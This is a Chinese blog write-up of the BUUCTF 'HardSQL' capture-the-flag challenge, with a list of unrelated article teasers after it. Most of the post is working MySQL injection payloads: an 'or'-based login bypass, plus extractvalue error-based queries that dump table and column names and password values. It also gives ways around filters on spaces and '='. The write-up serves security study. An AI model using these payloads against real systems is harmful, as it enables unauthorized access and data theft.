【BUUCTF】HardSQL

embedded/2024/12/22 19:00:31/

题目描述

一道纯粹的SQL注入题

img

尝试进行注入,发现对以下字符进行了过滤:

= %20(空格) %09 %0a %0b %0c %0d /**/ substr union by and

且过滤方式不区分大小写,检测到以上字符就die()

题解

先找注入点,由于空格被过滤,与空格起同样作用的字符也被过滤,因此我们使用()将库名、表名、字段名包裹起来,就不需要使用空格了。
exp 如下:

?username=-1'or(1)%23&password=1

img

成功登录。

由于过滤了union,我们使用报错注入的方式进行尝试。另外,由于=被过滤,我们可以使用like来代替=。payload如下:

//爆库名
1'or(extractvalue(1,concat(0x7e,(database()))))%23
//爆表名
1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))))%23
//爆字段名
1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like("H4rDsq1")))))%23
//爆字段值
1'or(extractvalue(1,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1)))))%23

在爆字段值的时候我们看到,flag只显示了一部分

img

由于substr()函数被过滤,我们使用left()right()来进行字符串的截取,payload:

1'or(extractvalue(1,concat(0x7e,right((select(group_concat(password))from(geek.H4rDsq1)),30))))%23

其中30是截取右边字符的个数,可以改为其他值,只要能拿到完整flag即可。

img

总结

绕过空格

使用以下字符替代空格,可以起到相同效果

%09 %0a %0b %0c %0d /**/

或使用()包裹库名、表名、字段名,从而避免空格的使用,如:

select(group_concat(table_name))from(information_schema.tables)where(table_schema)=(database())

绕过 =

like代替=

字符串显示不全

使用以下三个函数对字符串进行截取:

substr()   left()   right()

http://www.ppmy.cn/embedded/108632.html

相关文章

二百六十、Java——采集Kafka数据,解析成一条条数据,写入另一Kafka中(复杂JSON)

一、目的 由于部分数据类型频率为1s,从而数据规模特别大,因此完整的JSON放在Hive中解析起来,尤其是在单机环境下,效率特别慢,无法满足业务需求。 而Flume的拦截器并不能很好的转换数据,因为只能采用Java方…

【数据结构】二叉树的前中后序遍历以及层序遍历(全解)

文章目录 前言1. 前中后序遍历1.1 遍历规则1.2 代码实现1.3 图解遍历 2. 层序遍历3.结点个数以及高度等4. 判断是否为完全二叉树5. 结语 前言 在前面学习完链式结构的二叉树之后,我们就可以进一步了解二叉树的几种遍历方式了,注意这里就可以深刻的体会到…

C语言小游戏--贪吃蛇实现

C语言小游戏--贪吃蛇实现 1.游戏实现背景2.Win32 API介绍2.1什么是Win32 API2.2控制台程序(Console)2.3控制台屏幕的坐标COORD2.4GetStdHandle2.4.1函数语法2.4.2函数的使用 2.5GetConsoleCursorInfo2.5.1函数语法2.5.2函数的使用 2.6CONSOLE_CURSOR_INFO2.6.1结构体结构2.6.2结…

自己看---华为od-数大雁

题目描述 一群大雁往南飞,给定一个字符串记录地面上的游客听到的大雁叫声,请给出叫声最少由几只大雁发出。 具体的: 1.大雁发出的完整叫声为”quack“,因为有多只大雁同一时间嘎嘎作响,所以字符串中可能会混合多个”quack”。 …

51单片机-DS1302,操作简述

DS1302的命令字(Command Byte)是由控制DS1302芯片的主机(通常是单片机,如51单片机)来生成和发送的。DS1302是一款实时时钟(RTC)芯片,它通过串行通讯接口与单片机进行数据交换。 DS1…

Kafka【十三】消费者消费消息的偏移量

偏移量offset是消费者消费数据的一个非常重要的属性。默认情况下,消费者如果不指定消费主题数据的偏移量,那么消费者启动消费时,无论当前主题之前存储了多少历史数据,消费者只能从连接成功后当前主题最新的数据偏移位置读取&#…

数据库安全漏洞的克星:SqlMap

SqlMap:一键自动化,精准识别SQL注入漏洞。 - 精选真开源,释放新价值。 概览 sqlmap是一个广受认可的开源工具,专注于自动化SQL注入漏洞的检测和利用。它能够与多种数据库系统交互,包括但不限于MySQL、Oracle、Postgre…

ApacheKafka中的设计

文章目录 1、介绍1_Kafka&MQ场景2_Kafka 架构剖析3_分区&日志4_生产者&消费者组5_核心概念总结6_顺写&mmap7_Kafka的数据存储形式 2、Kafka的数据同步机制1_高水位(High Watermark)2_LEO3_高水位更新机制4_副本同步机制解析5_消息丢失问…